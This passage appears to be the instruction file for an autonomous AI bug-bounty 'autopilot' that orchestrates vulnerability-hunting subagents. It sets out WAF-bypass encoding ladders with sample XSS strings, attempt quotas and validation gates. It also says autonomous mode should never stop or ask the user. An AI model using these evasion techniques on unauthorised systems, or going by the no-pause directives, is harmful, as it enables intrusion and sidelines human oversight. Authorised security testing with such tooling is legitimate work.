battery evidence file `evidence\u002F$TARGET\u002Fbattery-\u003Cslug>.jsonl`\n   where `\u003Cslug>` is the path with `\u002F` replaced by `-`.\n2. Dispatch the relevant hunters in parallel (model: inherit), each\n   appending its results to that JSONL:\n   - `business-logic` — mass-assignment, applicant-id collision, status\n     manipulation, currency \u002F price coercion\n   - `xss-hunter` (subtype: stored) — payload injection in every JSON\n     field with rotation ladder per Rule 28\n   - `ssti-hunter` — when the path or surrounding service hints at\n     templates\u002Frules engines (rule-engine, comment, message, render,\n     template names, Clojure\u002FJinja\u002FVelocity\u002FTwig\u002FFreemarker fingerprints)\n   - `race-condition` — replay the endpoint in parallel with state-mutation\n     queries\n   - `chain-builder` — extract `rules\u002Fchain-table.md` anchors for the\n     resulting capability and probe the next links\n3. After hunters return, record the battery result via the structured\n   writer of choice. The brain marker MUST cover every dimension:\n   ```bash\n   uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \"$TARGET\" recon \\\n     \"adversarial-battery:$PATH\" \\\n     \"attempts:\u003C≥10>; mass-assignment:\u003Cdone|signal:\u003Cdetails>>; \\\n      payload-fields:\u003Cdone|signal>; id-collision:\u003Cdone|signal>; \\\n      race:\u003Cdone|signal>; chain-anchors:\u003Cdone|signal:\u003Cwhich-anchor>>; \\\n      evidence:evidence\u002F$TARGET\u002Fbattery-\u003Cslug>.jsonl\"\n   ```\n4. If any hunter surfaces a confirmed finding, run it through the FINDING\n   PIPELINE (Gate 1\u002F2\u002F3) before continuing. Battery completion does not\n   replace per-finding validation.\n\n## HUNT LOOP (for each P1 target)\n\n17. `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py brief \u003Ctarget>` — what's tested on this target?\n18. Tech stack detection:\n    ```bash\n    curl -sI https:\u002F\u002F\u003Ctarget> | grep -iE \"server|x-powered-by|x-aspnet|x-runtime|x-generator\"\n    ```\n19. Check WAF status from brain for this specific host\n20. Build autonomous class hypotheses (MANDATORY):\n    ```bash\n    uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fintel_engine.py classes \\\n      --tech-stack \"\u003Cdetected stack + recon hints>\" \\\n      --target \u003Ctarget> \\\n      --limit 8 \\\n      --telemetry-path .autonomy-telemetry.json \\\n      --output CLASS_HYPOTHESES.md\n    ```\n    Use the ranked output to decide vuln class dispatch order.\n21. Allocate autonomous class budgets (MANDATORY):\n    ```bash\n    uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fintel_engine.py budget \\\n      --tech-stack \"\u003Cdetected stack + recon hints>\" \\\n      --target \u003Ctarget> \\\n      --total-minutes 120 \\\n      --total-tokens 30000 \\\n      --telemetry-path .autonomy-telemetry.json \\\n      --output CLASS_BUDGET.md\n    ```\n    Use this budget when deciding how many rounds to spend per vuln class.\n\n## DEPTH ENGINE (mandatory before marking any class exhausted)\n\nAutopilot runs deeper than a single-payload probe. Before any hunter dispatch\nand after every hunter return, the following anti-shallow rules are in force:\n\n1. **Variant matrix first.** For the endpoint and vuln class, build the matrix\n   `method × content-type × auth-state × parser-confusion × encoding × transport`\n   before sending the first request. Call `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fintel_engine.py matrix\n   \u003Cclass>` to seed it where a profile exists.\n2. **Baseline controls.** Send a known-benign probe and a known-malicious probe\n   first so bypasses are measured against a calibrated response delta.\n3. **Minimum-attempt floor: 25 distinct attempts per endpoint\u002Fclass** before\n   any \"exhausted\" verdict, unless a hard policy\u002Fscope\u002FWAF block is proven\n   with level-by-level evidence.\n4. **Encoding ladder per payload.** raw → url → double-url → unicode escapes →\n   html entities → mixed-case \u002F separator insertion. Keep the semantic payload\n   constant across the ladder. Then **stack encodings** in a single payload —\n   WAFs typically decode once, targets decode twice. Try at minimum: `html-entity\n   then url` (`%26lt%3Bscript%26gt%3B`), `url then double-url`\n   (`%253Cscript%253E`), `unicode-escape then url` (`%5Cu003cscript%5Cu003e`),\n   and `base64 inside url-encoded data URI`. Log which decoding order the\n   target actually applies.\n5. **Parser-differential tricks.** Duplicate params, array\u002Fobject coercion,\n   JSON vs form-body drift, HTTP parameter pollution, alternate delimiters.\n6. **Auth-state rotation.** unauth + low-priv user A + low-priv user B +\n   high-priv (if available) + expired token + stale session + cross-tenant.\n   Compare status, body length, markers, and timing — not just status codes.\n7. **Sequence \u002F state-machine abuse.** For workflow endpoints (billing,\n   approvals, profile updates, idempotency keys), replay, race, duplicate,\n   and reorder state transitions to catch business-logic and race bugs.\n8. **Combination pass.** At least 8 combined variants per endpoint. Cross\n   dimensions (encoding + method override, parser-confusion + alt\n   content-type, HPP + JSON\u002Fform drift) AND stack within dimensions\n   (url + html-entity in the same payload, url + unicode, double-url +\n   html-entity). Layered encodings defeat WAFs whose decoder runs once.\n9. **Cross-endpoint replay.** Every payload that fires (even partially) on\n   endpoint A is replayed on every sibling endpoint under the same router\n   before the branch is abandoned. This is Rule 8 of `rules\u002Fhunting.md`.\n10. **Second-opinion dispatch.** Any candidate that survives the first\n    hunter as \"potential\" must trigger one different specialist (e.g.\n    `dast-devils-advocate` or a sibling hunter) for adversarial\n    confirmation or kill decision.\n11. **Exhaustion ledger quality bar.** Every exhausted record must include\n    `variants_tried`, `dimensions_covered`, and `exact_blocker`. A generic\n    \"no vuln\" entry is invalid and will be re-dispatched.\n12. **Coverage persisted in brain via the structured writer.** Hunters do\n    NOT write `coverage-\u003Cclass>` markdown directly anymore — the gate\n    rejects bare markers. Use the structured writer, which calls the\n    exhaustion gate first and only writes if it passes:\n    ```bash\n    # dispatched class — most classes\n    uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fcoverage_record.py \\\n      --host \u003Chost> --class \u003Cclass> \\\n      --attempts \u003CN≥25> --variants \u003CM> --combos-tested \u003CT> --combos-remaining 0 \\\n      --encoding-steps \u003C≥3> --differential-evidence \\\n      --blocker \"\u003C≥20-char concrete technical reason>\" \\\n      --evidence evidence\u002F\u003Chost>\u002Fcoverage\u002F\u003Cclass>-attempts.jsonl\n\n    # surface-driven class — cache-deception, header-injection, h2-desync, method-confusion\n    uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fcoverage_record.py \\\n      --host \u003Chost> --class \u003Cclass> \\\n      --surface-status \"no-signal|signal:\u003Cdetails>|candidate-dispatched:\u003Chunter>\" \\\n      --evidence evidence\u002F\u003Chost>\u002Fsurface\u002F\u003Cprobe>.txt\n    ```\n    The writer creates `evidence\u002F\u003Chost>\u002Fcoverage\u002F\u003Cclass>.json` and appends\n    a `coverage-\u003Cclass>` brain entry pointing at it. The hard gate prefers\n    the JSON over the markdown line for substance checks.\n\n22. **Iterate the Canonical Hunter Class Set** (see EXHAUSTION CONTRACT — 26 classes). For\n    each class, you MUST either dispatch its specialized hunter OR record a\n    `not-applicable: \u003Cclass>` brain entry citing concrete surface-probe evidence\n    (e.g., \"no XML parsing surface — surface probe A returned no SOAP\u002FSVG\u002FSAML\n    endpoints\"). Auxiliary agents (`js-analyzer`, `config-auditor`,\n    `waf-profiler`, `sast-*`, `cloud-recon`, `vuln-scanner`) DO NOT count\n    toward class coverage — dispatch them only as feeders to actual hunters.\n\n    Dispatch up to 3 hunters in parallel. Order priority by:\n    a. Surface probe seeds — e.g., wildcard `Access-Control-Allow-Origin` →\n       `cors-hunter` first; CF-Connecting-IP trust → `auth-tester` first;\n       reflected `returnTo` → `open-redirect` + `oauth-hunter` first.\n    b. Tech stack signals — GraphQL endpoint → `graphql-audit` early; Next.js\n       Server Actions surface → `ssrf-hunter` early; chatbot\u002FRAG\u002FMCP →\n       `llm-ai-hunter` early.\n    c. Crown-jewel proximity — tenant boundaries \u002F billing \u002F admin \u002F OAuth \u002F\n       file ingestion \u002F AI tool execution = highest-CVSS chains.\n    d. Default sequence: `idor` → `auth-bypass` → `xss-reflected` →\n       `xss-stored` → `xss-dom` → `ssrf` → `sqli` → `oauth` → `open-redirect`\n       → `cors` → `csrf` → `info-disclosure` → `race-condition` →\n       `business-logic` → `privilege-escalation` → `file-upload` → `ssti` →\n       `rce` → `xxe` → `graphql` → `llm-ai` → `subdomain-takeover` →\n       `cache-deception` → `header-injection` → `h2-desync` →\n       `method-confusion`.\n\n    Continue iterating UNTIL every class either has a hunter dispatch or a\n    not-applicable record. **Do NOT exit step 22 early** — the orchestrator\n    cannot decide \"the rest are obviously not applicable\" without surface-\n    probe evidence backing each not-applicable.\n\n    For the dispatched class:\n    a. **Writeup intelligence (ENFORCED — do this before EVERY hunter dispatch):**\n       - Call `search_techniques` MCP tool for the vuln class\n       - Call `search_payloads` MCP tool for the vuln class\n       - If MCP unavailable, read `rules\u002Fpayloads.md` as fallback\n       - Include results in the hunter prompt\n    b. **WAF-aware hunter prompt (ENFORCED when WAF detected on target):**\n       Include in every hunter dispatch for WAF-protected targets:\n       ```\n       WAF DETECTED: \u003Cwaf_name> on this target.\n       Read `rules\u002Fwaf-bypass-protocol.md` AND `rules\u002Fpayloads.md` (WAF bypass\n       sections). Work through ALL 7 bypass levels systematically — ≥3 payloads\n       per level before moving to the next. Do NOT give up after 3-5 generic\n       payloads; that is the starting condition for the protocol, not the end.\n       Combine levels when one gets through partially (L1 encoding + L2 tag,\n       L2 tag + L4 keyword obfuscation, etc.).\n       Time box: 20 minutes on WAF bypass per endpoint.\n       Record per-level results in your output: which bypasses got blocked, which\n       got through, and what the response differentials looked like.\n\n       Never-valid verdicts (your output will be rejected if it contains these):\n       - \"WAF blocks \u003Cpayload>\" without a level-by-level record\n       - \"not vulnerable — WAF blocks attempts\"\n       - \"curl returns 403 so the endpoint is not vulnerable\"\n       ```\n    c. Dispatch specialized hunter agent (model: inherit) with:\n       - Policy preamble\n       - Writeup intelligence (techniques + payloads)\n       - **Variant matrix** (from Depth Engine step 1) + explicit requirement:\n         \"Do NOT stop at single-vector probes. Exhaust the matrix including\n         combinations. Minimum 25 distinct attempts before any 'exhausted'\n         verdict unless a policy\u002Fscope\u002FWAF block is proven.\"\n       - WAF context (type + bypass instructions if applicable)\n       - Brain context (tested vectors, tech stack, known endpoints)\n       - Scope boundaries\n       - If `--20m-off` NOT set: \"Time-box: 20 minutes. If no progress after 20 min, stop and report what you tested.\"\n       - **Chain-anchor preamble** (MANDATORY for feeder vuln-classes):\n         If the dispatched class is in the feeder list — `open-redirect`,\n         `cors`, `info-disclosure`, `csrf`, `subdomain-takeover`, `xxe`,\n         `file-upload`, `race-condition`, `business-logic`,\n         `privilege-escalation` — extract that class's anchors from\n         `rules\u002Fchain-table.md` \"Per-Class Chain Anchors\" section and\n         prepend this directive verbatim to the agent prompt:\n         ```\n         CHAIN-ANCHOR DIRECTIVE — this finding class sells low\u002FN-A standalone.\n         After confirming the bug, you MUST probe these chain anchors before\n         declaring the finding complete:\n         [paste the 3-5 anchors for the class from chain-table.md]\n         If any anchor returns signal → label finding CHAIN-CANDIDATE in brain\n         and STOP. Do not write a single-bug report. Autopilot will dispatch\n         chain-builder. If all anchors fail → finding is informational; apply\n         rules\u002Fnever-submit.md. The chain is the report.\n         ```\n    d. After hunter returns:\n       - Parse output for findings, tested endpoints, exhausted techniques,\n         AND matrix coverage percentage. Reject shallow results:\n         \u003C25 attempts, \u003C3 encoding-ladder steps, or missing differential\n         evidence → re-dispatch same class with stricter instructions.\n       - Run exhaustion gate before honoring any \"exhausted\" verdict:\n         ```bash\n         uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fintel_engine.py exhaustion-gate \\\n           --attempts \u003Ccount> \\\n           --combos-tested \u003Ccount> \\\n           --combos-remaining \u003Ccount> \\\n           --encoding-steps \u003Ccount> \\\n           --differential-evidence\n         ```\n         If this command fails, do NOT mark exhausted — re-dispatch deeper.\n       - If hunter signals a DIFFERENT vuln class → adaptive re-search:\n         Call `search_techniques` + `search_payloads` for the new class →\n         dispatch appropriate specialized hunter with new intelligence\n       - Brain update for findings\u002Fexhausted entries: `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \u003Ctarget> \u003Cstatus> \"\u003Ctechnique>\" \"\u003Cdetails>\"`\n       - Coverage update — use the structured writer, NOT bare brain.py:\n         ```bash\n         uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fcoverage_record.py \\\n           --host \u003Chost> --class \u003Cclass> [dispatched flags OR --surface-status ...] \\\n           --evidence evidence\u002F\u003Chost>\u002Fcoverage\u002F\u003Cclass>-attempts.jsonl\n         ```\n         Refusal from coverage_record.py = stay in the loop, deepen the matrix.\n       - If hunter reports WAF bypass results: `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \u003Ctarget> waf-bypass \"\u003Clevel: result pairs>\" \"\u003Cbypass details>\"`\n       - If a \"potential\" finding surfaces, dispatch a second-opinion\n         specialist (dast-devils-advocate, or a sibling hunter) BEFORE\n         advancing to the FINDING PIPELINE.\n       - Record telemetry for reprioritization:\n         ```bash\n         uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fintel_engine.py record-outcome \\\n           --vuln-class \"\u003Cclass>\" \\\n           --result \"\u003Cconfirmed|killed|downgraded|partial>\" \\\n           --attempts \u003Ccount> \\\n           --elapsed-minutes \u003Cminutes> \\\n           --telemetry-path .autonomy-telemetry.json\n         ```\n       - Increment subagent counter\n\n23. **CHAIN-PRESSURE CHECK (every subagent completion):**\n    The chain_pressure_hook.py SubagentStop hook scans findings.json\n    after every agent run and writes\n    `.claude\u002Fagent-memory-local\u002Fchain-pending.md` if any feeder\n    findings (open-redirect, CORS, info-disclosure, CSRF,\n    subdomain-takeover, XXE, file-upload, race-condition,\n    business-logic, privilege-escalation) are confirmed without a\n    chain.\n\n    On each loop iteration:\n    a. `cat .claude\u002Fagent-memory-local\u002Fchain-pending.md 2>\u002Fdev\u002Fnull` —\n       check if pending list is non-empty.\n    b. **Refresh chain plan** if list non-empty:\n       ```bash\n       uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fchain_plan.py \u003Ctarget>\n       ```\n       Writes `evidence\u002F\u003Ctarget>\u002FCHAIN_PLAN.md` with 3-5 candidate\n       next-links per feeder finding plus the agent to dispatch for\n       each. Read before deciding what to chain.\n    c. Mode-specific behavior:\n       - `--paranoid`: dispatch `chain-builder` for EVERY pending\n         entry before continuing the hunt loop. Block until chains\n         resolved or 20-min time-box expires. Use the chain plan\n         entries as the dispatch order (highest-CVSS feeder first).\n       - `--normal` (default): dispatch `chain-builder` for top\n         pending entry between hunter dispatches. Don't block the\n         loop; process one at a time. Plan entries inform which\n         agent to invoke as link 2.\n       - `--yolo`: skip auto-dispatch. Pending list + plan are\n         advisory only.\n    d. After chain-builder runs, the hook re-runs and updates\n       chain-pending.md; chain_plan refresh on next iteration drops\n       resolved entries because they now have chain markers in\n       findings.json.\n\n24. **FLUSH CYCLE (every 3 subagent completions):**\n    a. Full brain update — ensure all findings, endpoints, tech stack saved\n    b. `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fglobal_brain.py sync-from-local`\n    c. Refresh local autonomous surface ranking:\n       ```bash\n       uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fintel_engine.py rank-surface \\\n         --endpoints-file recon\u002Fendpoints.txt \\\n         --tech-stack \"\u003Clatest stack context>\" \\\n         --output ATTACK_SURFACE_RANKING.md\n       ```\n    d. Re-dispatch `recon-ranker` agent (model: inherit) to re-rank surface\n       (priorities shift as brain learns what's exhausted and what's confirmed)\n    e. Refresh class hypotheses with latest telemetry:\n       ```bash\n       uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fintel_engine.py classes \\\n         --tech-stack \"\u003Clatest stack context>\" \\\n         --target \u003Ctarget> \\\n         --telemetry-path .autonomy-telemetry.json \\\n         --output CLASS_HYPOTHESES.md\n       ```\n    f. Context checkpoint — check context usage:\n       - If > 60%: save full state to brain, print progress summary,\n         tell user: \"Context at X%. Run `\u002Fautopilot --resume` to continue in fresh context.\"\n         Then STOP.\n\n## FINDING PIPELINE (when hunter reports a potential finding)\n\n24. **Gate 1: Validator — 7-Question Gate**\n    Dispatch `validator` agent (model: inherit) with finding details.\n\n    - If **KILL** → brain update with reason, skip to next hunter. Done.\n    - If **CHAIN REQUIRED** → dispatch `chain-builder` first, re-validate if chain found, else brain update as exhausted. Done.\n    - If **DOWNGRADE** → note adjusted severity, continue pipeline at lower severity.\n    - If **PASS** → continue to Gate 2.\n\n25. **Gate 2: Browser Verification (MANDATORY for client-side findings)**\n\n    Classify the finding's vuln class:\n    - **Client-side** (requires browser verification): XSS-reflected, XSS-stored, XSS-DOM, prototype pollution, postMessage, DOM clobbering, CSS injection with JS impact, open redirect with token in URL\n    - **Server-side** (skip to Gate 3): IDOR, SSRF, SQLi, auth bypass, race condition, file upload RCE, command injection\n\n    If client-side:\n    a. Ensure camofox is running: `$CLAUDE_PROJECT_DIR\u002Ftools\u002Fcamofox_ctl.sh status || $CLAUDE_PROJECT_DIR\u002Ftools\u002Fcamofox_ctl.sh start`\n    b. Dispatch `browser-verifier` agent (model: inherit) with:\n       - The finding (including PoC URL\u002Fcurl command)\n       - Policy preamble\n       - Target's WAF type (so verifier knows to use camofox)\n       - Instruction: \"Verify this payload executes in a real browser. Use DOM markers, not alert(). Diagnose failures.\"\n    c. Parse verdict:\n       - **BROWSER_CONFIRMED** → continue to Gate 3\n       - **BROWSER_REJECTED** → brain update: `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \u003Ctarget> browser-rejected \"\u003Cfinding>\" \"\u003Creason: CSP\u002Fframework\u002Fcontext>\"`\n         Log the rejection reason. DO NOT proceed to report. Move on.\n       - **BROWSER_PARTIAL** → apply the verifier's severity adjustment, continue to Gate 3\n\n    **A client-side finding that skips browser verification MUST NOT reach \u002Freport.\n    This is non-negotiable. Curl reflection alone is not XSS.**\n\n26. **Gate 3: Devil's Advocate — Adversarial Severity Check**\n\n    Dispatch `dast-devils-advocate` agent (model: inherit) with:\n    - The finding (with browser verification results if applicable)\n    - Policy preamble\n    - Target's hacktivity context (known reports)\n    - Instruction: \"Attempt to disprove this finding. Check: is data actually public? Does impact match the claim? Is severity justified by evidence?\"\n\n    Parse verdict:\n    - **SURVIVES** → continue to reporting at the assessed severity\n    - **DOWNGRADE** → update severity to devil's advocate's assessment, continue to reporting\n    - **KILLED** → brain update: `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \u003Ctarget> da-killed \"\u003Cfinding>\" \"\u003Creason>\"`\n      Log: \"Devil's advocate killed: [reason]\". Move on.\n    - **BLOCK** → missing verification. Should not happen if Gates 1-2 ran correctly.\n      If it does: dispatch the missing verifier, then re-run Gate 3.\n\n27. **Reporting Pipeline (finding survived all gates)**\n\n    a. Build autonomous chain plan first:\n       ```bash\n       uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fintel_engine.py chain-plan \\\n         --capability-file .claude\u002Fagent-memory-local\u002Fbrain\u002Fpatterns\u002Fcapability-graph.json \\\n         --output CHAIN_PLAN.md\n       ```\n    b. Dispatch `chain-builder` agent (model: inherit) with:\n       - Confirmed finding at FINAL severity (after all adjustments)\n       - `rules\u002Fchain-table.md` content\n       - Policy preamble\n       - Brain context\n    c. Run `\u002Fdupcheck` logic: search hacktivity via bounty-platforms MCP\n       - If likely duplicate → brain update, skip reporting, move on\n    d. Dispatch `poc-builder` agent (model: inherit) with:\n       - Include in prompt: \"You MUST run `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fcapture.py screenshot` and `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fcapture.py record` as part of every PoC. Evidence is not optional.\"\n       - For CF-protected targets: \"Use camofox for screenshots. Challenge pages are not evidence.\"\n       - If browser-verifier already captured screenshots, reference those: \"Browser verification screenshots exist at [paths]. Build on these, don't duplicate.\"\n    e. Dispatch `report-writer` agent (model: inherit) with:\n       - FINAL severity (post-devil's-advocate adjustment)\n       - All evidence paths (verified with `ls`)\n       - Browser verification results (if client-side)\n       - Devil's advocate assessment (include severity justification)\n    f. Dispatch `quality-check` agent (model: inherit) — must score >= 7\n       - Quality check must verify:\n         - Severity matches devil's advocate assessment (not the original hunter claim)\n         - Client-side findings include browser verification evidence\n         - PoC is reproducible (not just described)\n         - CVSS vector matches the ACTUAL impact (not theoretical)\n    g. Run evidence sufficiency score before finalizing report:\n       ```bash\n       uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fintel_engine.py evidence-score \\\n         --has-http-pair \\\n         --has-readback \\\n         --reliability-runs \u003Cn> \\\n         --reliability-hits \u003Cn> \\\n         --has-harm-artifact \\\n         --chain-depth \u003Cn>\n       ```\n       If result is DOWNGRADE\u002FKILL, adjust severity or drop the report.\n    h. Brain update: confirmed finding with report path\n       `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \u003Ctarget> confirmed \"\u003Cfinding>\" \"\u003Creport path, severity, gates passed>\"`\n       `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py capability \u003Ctarget> \"\u003Ccapability gained>\" --source \"\u003Cfinding id>\" --confidence 0.9 --details \"\u003Cproof>\"`\n\n    i. If `--interactive` mode: pause here, show finding + gate results to user:\n       ```\n       FINDING: [title]\n       Severity: [original] → [final after gates]\n       Validator:    PASS\n       Browser:      [CONFIRMED\u002FN\u002FA]\n       Devil's Adv:  [SURVIVES\u002FDOWNGRADE from X to Y]\n       Quality:      [score]\u002F10\n       Report:       reports\u002Fdrafts\u002F[filename]\n\n       [Submit \u002F Skip \u002F Edit]\n       ```\n\n28. After all vuln classes tested on target:\n    `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \u003Ctarget> exhausted \"all classes tested\" \"\u003Cfinal coverage summary>\"`\n29. Next P1 target → back to step 17\n\n## PRE-COMPLETION GATE (mandatory; blocks COMPLETION until ALL pass)\n\nBefore the COMPLETION section runs, run the hard gate tool. This is the\nsource of truth; do not replace it with an inline shell approximation.\n\n```bash\nuv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fautopilot_gate.py \\\n  --target \"\u003Coriginal \u002Fautopilot target argument>\" \\\n  --mode \"\u003Cinteractive|autonomous>\"\n```\n\nThe gate fails closed when any of these are true:\n\n- Any discovered live host in `recon\u002Flive-hosts.txt` is not explicitly ranked P1\u002FP2\u002FKill.\n- Any P1 target lacks a brain target file.\n- Any P1 target is missing surface probe artifacts for A, B, C, D, E, F, G, or I. Probe H is also required when Cloudflare evidence exists.\n- Any canonical hunter class lacks either `coverage-\u003Cclass>` or a valid `not-applicable: \u003Cclass>` entry.\n- A dispatched class records fewer than 25 explicit attempts, missing differential evidence, missing `variants_tried` \u002F `dimensions_covered` \u002F `exact_blocker`, or nonzero remaining combinations.\n- A surface-driven class records `signal:` without `candidate-dispatched:\u003Chunter>`.\n- A `not-applicable` entry is generic, does not cite surface evidence, or contradicts the method matrix.\n- Exhaustion is claimed through an auxiliary agent (`js-analyzer`, `config-auditor`, `waf-profiler`, `sast-*`, `cloud-recon`, `vuln-scanner`).\n- Autonomous wall-clock or subagent floors are not met.\n- `chain-pending.md` is non-empty.\n- Confirmed findings lack validator, browser-verifier when client-side, or devil's-advocate markers.\n\nIf any gate fails, the orchestrator MUST:\n\n1. Identify the specific failing assertion\n2. Return to HUNT LOOP (step 17) for the failing target\u002Fclass\n3. Re-run the gates after closing the gap\n4. **Only print COMPLETION SUMMARY when every gate passes**\n5. **Do NOT ask the user whether to continue — `--autonomous` means continue**\n\nRepeat-failure cap: if the same gate fails 3 times in a row on the same\nclass, dispatch `dast-devils-advocate` to confirm the gap is real (not a\nbrain query error), then either close it or document why the class is\ntruly not-applicable with technical justification from the surface probe.\n\n### Adversarial Exhaustion Review (mandatory after the hard gate passes)\n\nA hard-gate PASS means \"no failures the gate is built to detect.\" It is\nNOT proof of exhaustion. Before printing COMPLETION, dispatch\n`dast-devils-advocate` (model: inherit) with the following prompt:\n\n```\nsubtype: exhaustion\ntarget: \u003Coriginal \u002Fautopilot target>\ngate_log: \u003Cpath to autopilot_gate.py PASS output you just produced>\nlive_hosts: recon\u002Flive-hosts.txt\nranking: ATTACK_SURFACE_RANKING.md\nbrain_targets: .claude\u002Fagent-memory-local\u002Fbrain\u002Ftargets\u002F\nevidence_root: evidence\u002F\nrecon_depth: recon\u002Fdns-bruteforce.txt, recon\u002Furlscan-cdx.json, recon\u002Fgithub-code.json, recon\u002Fpublic-archives.txt, recon\u002Fmobile\u002F\n\nApply the \"Exhaustion Adversarial Review\" section in your agent file.\nDefault stance: there IS a gap. Find one or output NO_GAPS_FOUND.\n```\n\nThen parse the output:\n\n- If output contains `FOUND_GAPS:` → completion is forbidden. For each\n  gap, return to the HUNT LOOP for the listed host\u002Fclass with the\n  remediation as the next directive. Re-run the hard gate when each gap\n  is closed. After all gaps close, dispatch the adversarial reviewer\n  again — never trust \"I fixed all the gaps\" without a re-review.\n- If output is exactly `NO_GAPS_FOUND` → run the hard gate one more\n  time (defense in depth: the reviewer might have triggered new brain\n  writes). If that final hard-gate run also passes, proceed to\n  COMPLETION.\n\nOutput that doesn't end in either `FOUND_GAPS:` or `NO_GAPS_FOUND` is\nmalformed — re-dispatch the reviewer with explicit \"respond in the\nrequired format\" instruction.\n\nAfter the gate passes AND the adversarial reviewer returns\n`NO_GAPS_FOUND` AND the final hard-gate re-run passes, append the final\ncoverage matrix to brain:\n\n```bash\nuv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \u003Ctarget> coverage-final \\\n  \"\u003Cclass:status pairs for all 26 classes>\" \"\u003Cgate pass timestamp>\"\n```\n\n## COMPLETION\n\n30. Stop camofox if running: `$CLAUDE_PROJECT_DIR\u002Ftools\u002Fcamofox_ctl.sh stop`\n31. Final brain sync: `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py log` + `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fglobal_brain.py sync-from-local`\n32. Final surface re-rank: dispatch `recon-ranker` agent to show remaining surface\n33. Print summary:\n    ```\n    AUTOPILOT SESSION COMPLETE\n    ══════════════════════════\n\n    Mode:             [interactive\u002Fautonomous]\n    Targets tested:   N exhausted, M remaining\n    WAF detected:     [CF: X hosts, Akamai: Y hosts, none: Z hosts]\n    Camofox used:     [yes\u002Fno]\n\n    Finding Pipeline:\n      Raw findings:          X\n      Validator PASS:        Y\n      Browser verified:      A confirmed, B rejected, C partial\n      Devil's advocate:      D survived, E downgraded, F killed\n      Reports ready:         R at reports\u002Fdrafts\u002F\n\n    Hallucinations caught:\n      Browser rejected:      B (would have been false XSS reports)\n      Devil's advocate killed: F (would have been N\u002FA or overestimated)\n      Estimated time saved:  ~[B+F] × 30 min = [hours] hours\n\n    Chains:          C discovered\n\n    Next steps:\n      \u002Fsubmit \u003Cfinding>    — submit a report (requires your approval)\n      \u002Fautopilot --resume  — continue with remaining targets\n      \u002Fstatus              — full dashboard\n    ```\n\n## Safety Rails (NON-NEGOTIABLE)\n\n- Scope check EVERY URL with `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fscope_check.py \u003Curl>` before any request\n- NEVER submit a report without explicit human approval\n- NEVER auto-submit in `--autonomous` mode — only produce reports\n- Circuit breaker: 5 consecutive 403\u002F429 on same host → back off 60s, rotate to a different endpoint. Do NOT skip the host outright on WAF 403 — that is a bypass problem, not a vuln verdict. See `rules\u002Fwaf-bypass-protocol.md`.\n- Rate limit: 1 req\u002Fsec for testing, 10 req\u002Fsec for recon\n- All agents dispatched with `model: \"inherit\"` — never inherit Opus\n- Client-side findings MUST pass browser verification — no exceptions\n- ALL findings MUST pass devil's advocate — no exceptions\n- Camofox cleanup: always stop on session end unless `--resume` expected\n- **EXHAUSTION CONTRACT and PRE-COMPLETION GATE are NON-NEGOTIABLE.** `--autonomous` mode is INSATIABLE: do not stop, do not ask the user, do not skip surface probes, do not substitute auxiliary agents for hunters, do not print COMPLETION until the gate passes.\n- Banned tools (this workspace): `nuclei`, `ugrep`. Never include them in any agent prompt; the surface probe uses `httpx`\u002F`ffuf`\u002F`dirsearch`\u002F`curl` instead.\n\n## Top-Tier Control Loop\n\nAutopilot is not \"run every agent until something happens.\" It is a controlled experiment loop.\n\n1. Every dispatch needs four fields: objective, budget, abort condition, and required artifact. Reject agent output that does not answer all four.\n2. Keep a live queue with `P1`, `P2`, `blocked`, `chain-pending`, and `killed`. Re-rank after every confirmed capability, major block, or new recon artifact.\n3. Do not count activity as progress. Progress is one of: new reachable surface, disproved hypothesis, confirmed capability, validated chain, report-ready evidence.\n4. Promote a finding only when the proof artifact matches the claimed impact. Reflection is not XSS, a 403 bypass is not authorization failure, a leaked URL is not sensitive data.\n5. Spend budget asymmetrically. Double down on endpoints that expose state transitions, tenant boundaries, billing, admin delegation, file ingestion, OAuth callbacks, or AI\u002Ftool execution.\n6. Stop cleanly: checkpoint the queue, coverage matrix, pending chains, cost, and exact next command. A resumed session should not need to rediscover context.\n","Autonomous hunt on: $ARGUMENTS\n\nParse flags from arguments:\n- `--interactive` (default): Pause after each validated finding for user review\n- `--autonomous`: Fully autonomous — no pauses, never auto-submits, produces ready-to-submit reports\n- `--20m-off`: Disable 20-minute rotation timer on hunters\n- `--resume`: Continue from previous session (read brain state for progress)\n\nALL agents dispatched by this command MUST use `model: \"inherit\"` in the Agent tool call.\n\n## SETUP\n\n1. Read `rules\u002Fhunting.md` AND `rules\u002Fmistakes.md` — both active throughout. `mistakes.md` lists lessons from real engagements (\"Top 10 Most Common Mistakes\" first); inject the Top 10 block into every subagent preamble because agents repeat these without the reminder.\n2. Read `scope.yaml` — verify all targets are in 